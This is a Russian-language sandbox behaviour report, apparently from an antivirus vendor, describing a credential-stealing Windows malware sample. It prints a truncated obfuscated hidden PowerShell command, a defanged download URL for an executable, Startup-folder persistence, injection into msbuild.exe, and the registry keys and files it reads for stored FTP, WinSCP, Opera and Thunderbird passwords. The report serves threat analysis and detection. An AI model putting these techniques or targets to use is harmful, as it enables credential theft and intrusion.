Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\microsoftedgebchost.url
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function yf6735 {param($ge45283)$q856f8f='v6a1b';$q3bd74='';for ($i=0; $i -lt $ge45283.length;$i+=2){$vc759=[convert]::ToByte($ge45283.Substring($i,2),16);$q3bd74+=[char](...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [<HKCU>\Software\RimArts\B2\Settings]
- [<HKCU>\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
- [<HKCU>\Software\FTPWare\COREFTP\Sites]
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{04e982de-9681-47e4-ab0e-19605759414f}.tmp
- %TEMP%\i1beqiar.0.cs
- %TEMP%\i1beqiar.cmdline
- %TEMP%\i1beqiar.out
- %TEMP%\csc2509.tmp
- %TEMP%\res250a.tmp
- %TEMP%\i1beqiar.dll
- %APPDATA%\r96fb.exe
- %HOMEPATH%\microsoftedgebchost\microsoftedgebchost.vbs
- %HOMEPATH%\microsoftedgebchost\datausagelivetiletask.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Удаляет следующие файлы
- %TEMP%\res250a.tmp
- %TEMP%\csc2509.tmp
- %TEMP%\i1beqiar.dll
- %TEMP%\i1beqiar.out
- %TEMP%\i1beqiar.pdb
- %TEMP%\i1beqiar.0.cs
- %TEMP%\i1beqiar.cmdline
Сетевая активность
TCP
Запросы HTTP GET
- http://18#.#08.211.67/ow.exe
Другое
Создает и запускает на исполнение
- '%APPDATA%\r96fb.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function yf6735 {param($ge45283)$q856f8f='v6a1b';$q3bd74='';for ($i=0; $i -lt $ge45283.length;$i+=2){$vc759=[convert]::ToByte($ge45283.Substring($i,2),16);$q3bd74+=[char](...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i1beqiar.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES250A.tmp" "%TEMP%\CSC2509.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i1beqiar.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES250A.tmp" "%TEMP%\CSC2509.tmp"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe'
